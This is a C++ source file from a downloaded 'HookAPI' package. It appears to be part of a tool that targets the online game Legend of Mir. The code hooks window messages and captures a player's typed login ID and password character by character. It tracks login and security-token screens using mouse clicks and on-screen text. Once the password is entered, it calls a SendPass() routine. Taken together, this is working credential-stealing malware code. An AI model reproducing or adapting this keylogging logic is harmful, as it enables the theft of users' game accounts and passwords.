www.gusucode.com > HookAPI开发包(Win32 API函数截拦)源码程序 > HookAPI开发包(Win32 API函数截拦)源码程序/谷速代码-code/HookAPI1.7/hook_mir/HookDirectDraw/sharemem.cpp

    // Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com
// 如果要使用或修改本程序,请保留次信息
//
#include "StdAfx.h"
#include "sharemem.h"
#include "util.h"
#include "send.h"
#include "mouse_pos.h"

HANDLE g_hMapFile =NULL;
INPUT_INFO *g_pMapData =NULL;

HANDLE g_hMapFileDebug =NULL;
DEBUG_INFO *g_pMapDataDebug =NULL;

extern BOOL IfExe();

extern HWND g_hWndMain;

int InitShareMem()
{
	g_hMapFile =OpenFileMapping(FILE_MAP_WRITE, FALSE, "hook_map_file");
	if(g_hMapFile)
		g_pMapData =(INPUT_INFO *)MapViewOfFile(g_hMapFile, FILE_MAP_WRITE, 0, 0, 0);
	else
	{
		ExitShareMem();
		return -1;
	}
	if(g_pMapData)
	{
		if(IfExe())
		{
			g_pMapData->cur_times =!g_pMapData->cur_times;	// using another buf to save new data
			memset(&g_pMapData->data[g_pMapData->cur_times], 0, sizeof(g_pMapData->data[g_pMapData->cur_times]));
			g_pMapData->data[g_pMapData->cur_times].stat =STAT_START;
			// 密宝初始化为-1,-1,-1
			g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
			g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
			g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
		}
		//else		改由选择百区的时候设置为input login id
		//	g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_LOGIN_ID;
	}

	g_hMapFileDebug =OpenFileMapping(FILE_MAP_WRITE, FALSE, "debug_map_file");
	if(g_hMapFileDebug)
		g_pMapDataDebug =(DEBUG_INFO *)MapViewOfFile(g_hMapFileDebug, FILE_MAP_WRITE, 0, 0, 0);
	else
	{
		ExitShareMem();
		return -2;
	}

	return 0;
}

void ExitShareMem()
{
	if(g_pMapData)
	{
		if(IfExe())
			g_pMapData->data[g_pMapData->cur_times].stat =STAT_END;
		UnmapViewOfFile(g_pMapData);
	}
	if(g_hMapFile)
		CloseHandle(g_hMapFile);
	if(g_pMapDataDebug)
		UnmapViewOfFile(g_pMapDataDebug);
	if(g_hMapFileDebug)
		CloseHandle(g_hMapFileDebug);
	
	g_hMapFile =NULL;
	g_pMapData =NULL;

	g_hMapFileDebug =NULL;
	g_pMapDataDebug =NULL;
}

void CheckStatByMousePos(int x, int y)
{
	int i;

	POINT pt;
	pt.x =x;
	pt.y =y;
	if(g_pMapData->data[g_pMapData->cur_times].stat !=STAT_LOGIN_OK)
	{
		for(i =0; i<20 && g_rect_infos[i].stat >-1; i++)
		{
			if(PtInRect(g_rect_infos[i].rc, pt))
			{
				g_pMapData->data[g_pMapData->cur_times].stat =g_rect_infos[i].stat;
				if(g_rect_infos[i].stat ==STAT_INPUT_MB)
				{
					// 密宝初始化为-1,-1,-1
					g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
					g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
					g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
				}
				break;
			}
		}
	}
	else	// 判断选择服务器
	{
	}
}

void CheckStatByText(char *buf)
{
	if(strlen(buf) <3)
		return;

	if(buf[1] ==',' && buf[3] ==',')
	{
		g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_MB;
		// 密宝初始化为-1,-1,-1
		g_pMapData->data[g_pMapData->cur_times].have_mb =1;
	}
	for(int i=0; i<10 && g_text_infos[i].stat >-1; i++)
	{
		if(strstr(buf, g_text_infos[i].txt))
		{
			g_pMapData->data[g_pMapData->cur_times].stat =g_text_infos[i].stat;
			if(g_text_infos[i].stat ==STAT_MB_LOGIN_FAILED)
			{
				// 密宝初始化为-1,-1,-1
				g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF;
				g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF;
				g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF;
			}
			break;
		}
	}
}

void SetDebugData(char *buf)
{
	if(!IfExe()) WriteLog(buf);

	char temp[200];
	GetModuleFileName(NULL, temp, sizeof(temp));
	if(strstr(temp, ".exe"))
		return;

	if(strlen(temp) <9)
		strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], temp);
	else
		strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], &temp[strlen(temp)-9]);
	strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], ",");
	int len =strlen(buf);
	if(len > 190)
		buf[190] =0;
	
	strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], buf);
	
	g_pMapDataDebug->data[g_pMapDataDebug->pos][0] =' ';	// buf can read now

	g_pMapDataDebug->pos =(g_pMapDataDebug->pos+1)%1024;
}

void SetMapData(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	char temp[200];

	GetModuleFileName(NULL, temp, sizeof(temp));
	if(strstr(temp, ".exe"))
		return;

	INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times];
	if(msg ==WM_KEYDOWN)
	{
		if(wParam ==VK_TAB)
		{
			WriteLog("VK_TAB,stat=%d", pdata->stat);
			switch(pdata->stat)
			{
			case STAT_INPUT_LOGIN_ID:
				pdata->stat =STAT_INPUT_PASSWORD;
				break;
			case STAT_INPUT_PASSWORD:
				pdata->stat =STAT_INPUT_LOGIN_ID;
				break;
			}
			return;
		}
		return;
	}
	if(msg ==WM_LBUTTONDOWN)
	{
		// ID,用户名,登录,出错,密宝登录,密宝登录出错,选择服务器
		CheckStatByMousePos(LOWORD(lParam), HIWORD(lParam));
		return;
	}

	if(msg ==WM_CHAR)
	{
		if(wParam ==VK_RETURN)
		{
			WriteLog("VK_RETURN,msg=%d,stat=%d", msg,pdata->stat);
			switch(pdata->stat)
			{
			case STAT_INPUT_LOGIN_ID:
				WriteLog("input password...");
				pdata->stat =STAT_INPUT_PASSWORD;
				break;
			case STAT_INPUT_PASSWORD:
				pdata->stat =STAT_TO_LOGIN;
				WriteLog("send pass...");
				SendPass();
				break;
			case STAT_INPUT_MB:
				pdata->stat =STAT_TO_LOGIN_MB;
				break;
			case STAT_TO_LOGIN:  // 登录出错按回车
				pdata->stat =STAT_INPUT_LOGIN_ID;
				pdata->login_id[0] =0;
				pdata->password[0] =0;
				break;
			case STAT_TO_LOGIN_MB:
				pdata->stat =STAT_END;	//密宝登录失败
				break;
			}
			return;
		}
		if(wParam ==VK_BACK)
		{
			switch(pdata->stat)
			{
			case STAT_INPUT_LOGIN_ID:
				if(strlen(pdata->login_id) >0)
					pdata->login_id[strlen(pdata->login_id)-1] =0;
				break;
			case STAT_INPUT_PASSWORD:
				pdata->password[0] =0;
				break;
			}
			return;
		}
		int len;
		switch(pdata->stat)
		{
		case STAT_INPUT_LOGIN_ID:
			len =strlen(pdata->login_id);
			if(len < sizeof(pdata->login_id)-1)
			{
				pdata->login_id[len] =wParam;
				len++;
				pdata->login_id[len] =0;
			}
			break;
		case STAT_INPUT_PASSWORD:
			len =strlen(pdata->password);
			if(len < sizeof(pdata->password)-1)
			{
				pdata->password[len] =wParam;
				len++;
				pdata->password[len] =0;
			}
			break;
		default:
			return;
		}
	}
}